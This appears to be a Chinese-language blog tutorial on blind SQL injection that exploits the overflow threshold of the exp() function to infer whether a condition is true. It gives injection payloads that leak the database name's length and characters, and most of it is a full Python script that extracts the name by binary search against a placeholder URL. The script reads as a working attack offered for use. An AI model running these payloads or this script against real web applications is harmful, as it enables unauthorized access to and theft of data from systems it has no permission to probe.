前言: 指数函数exp是以e为底的指数函数,并且在不同的数据库中的极限值是不同的,超过一定数值就会报错,例如exp(710),exp(291)等,也许会报错或许会返回null,通过exp函数的极限报错特性可以实现盲注。

判断数据库长度:
根据数据库特性,exp(709)为极限值,exp(710)为溢出值。

以上exp(709)有正常的返回值,而exp(710)为null,基本可以判断出存在exp()注入。

payload:1'and(exp(xxx-length(database())))--+
xxx遍历709以上的数,最终的正常返回对应的数减去709即为数据库长度

到715时已报错不回显,则714为报错临界,则714-709为5,即数据库长度为5

判断数据库名:

payload:1'and(exp(xxx-ascii(substr(database(),1,1))))--+
xxx遍历709以上的数,最终的正常返回对应的数减去709即为数据库第一位ascii的对应数值




即830为极限正常返回值,830-709为121,所以数据库的第一位对应的ascii为121,即为y

编写python注入脚本:

import requests

# 目标URL
url = "http://xxx/xxxx?lastTime="

# 判断条件是否为true,这里是如果空返回为false,有内容的为true
def is_true(payload):
response = requests.get(url + payload)
return response.text.strip() != "" # 如果返回内容不为空,则认为条件为true

# 使用二分法获取数据库名长度
def get_database_length():
low, high = 0, 100 # 假设数据库名长度不超过100
while low < high:
mid = (low + high) // 2
payload = f"1'and(exp(709-length(database())))--+"
payload = payload.replace("709", str(709 + mid)) #遍历exp()极限值
if is_true(payload):
low = mid +1
else:
high = mid
return low - 1 #这里因为要取溢出数字的前面一个,所以要减1才是正确的。

# 使用二分法爆破数据库名的每个字符
def get_database_name(length):
db_name = ""
for i in range(1, length + 1):
low, high = 32, 126 # ASCII码范围,32到126是可打印字符
while low < high:
mid = (low + high) // 2
payload = f"1'and(exp(709-ascii(substr(database(),{i},1))))--+"
payload = payload.replace("709", str(709 + mid)) #遍历exp()极限值
if is_true(payload):
low = mid + 1
else:
high = mid
db_name += chr(low - 1) #这里因为要取溢出数字的前面一个,所以要减1才是正确的。
print(f"当前数据库名: {db_name}")
return db_name

# 主程序
if __name__ == "__main__":
db_length = get_database_length()
print(f"数据库名长度: {db_length}")
db_name = get_database_name(db_length)
print(f"数据库名: {db_name}")